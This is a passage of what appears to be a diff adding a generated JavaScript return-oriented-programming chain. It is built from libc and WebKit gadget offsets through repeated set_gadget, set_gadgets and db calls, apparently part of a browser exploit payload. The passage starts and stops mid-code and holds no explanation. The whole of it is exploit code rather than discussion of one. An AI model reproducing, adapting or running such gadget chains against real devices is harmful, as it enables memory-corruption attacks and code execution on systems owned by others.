+set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+502816, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+502800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+502912, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964012, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+503000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+503016, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+503176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+503208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+503160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+503192, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+503304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+503288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604288, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+503456, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+503576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+503608, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+503704, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+503688, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+503800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964012, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+503888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+503904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+504064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+504096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+504048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+504080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+504192, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+504176, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([4, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+504400, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+504528, +webkit_base+4687784, +libc_base+768796 +]); +db([16384, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16384, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+504640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+504624, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+504792, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+598496, +libc_base+863109, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+504880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964000, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+505008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+505024, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+505168, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+505136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+505152, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 536870912]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+505296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+505352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+505448, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+505576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+505592, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+505736, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+505704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+505720, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([0, 1073741824]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+505848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+505944, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+506072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+506088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+506232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+506200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+506216, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+506328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+506416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+506432, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+506576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+506544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+506560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+506672, +webkit_base+4687784, +libc_base+768796 +]); +db([104, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([104, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+506816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+506832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+506800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+506968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+507056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+507072, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+507232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+507264, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+507216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+507248, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+507360, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+507344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+507456, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+507568, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+507688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+507720, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+507816, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+507800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+507912, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964008, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+508000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+508016, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+508176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+508208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+508160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+508192, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+508304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+508288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([15, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+508464, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+508656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+508784, +webkit_base+4687784, +libc_base+768796 +]); +db([16384, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16384, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+508896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+508880, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+509048, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+598496, +libc_base+863109, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+509136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+509264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+509280, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+509424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+509392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+509408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 1073741824]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+509552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+509608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+509704, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+509832, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+509848, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+509992, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+509960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+509976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+510088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+510176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+510192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+510336, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+510304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+510320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+510432, +webkit_base+4687784, +libc_base+768796 +]); +db([104, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([104, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+510576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+510592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+510560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+510728, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+510816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+510832, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+510992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+511024, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+510976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+511008, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+511120, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+511104, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+511216, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+511328, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+511416, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+511504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+511520, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+511664, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+511632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+511648, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+511760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964000, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+511848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+511864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+512008, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+511976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+511992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604304, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+512160, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+512312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+512328, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+512472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+512440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+512456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+512568, +webkit_base+4687784, +libc_base+768796 +]); +db([96, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([96, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+512712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+512728, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+512696, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+512864, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+512952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+512968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+513128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+513160, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+513112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+513144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+513256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+513240, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 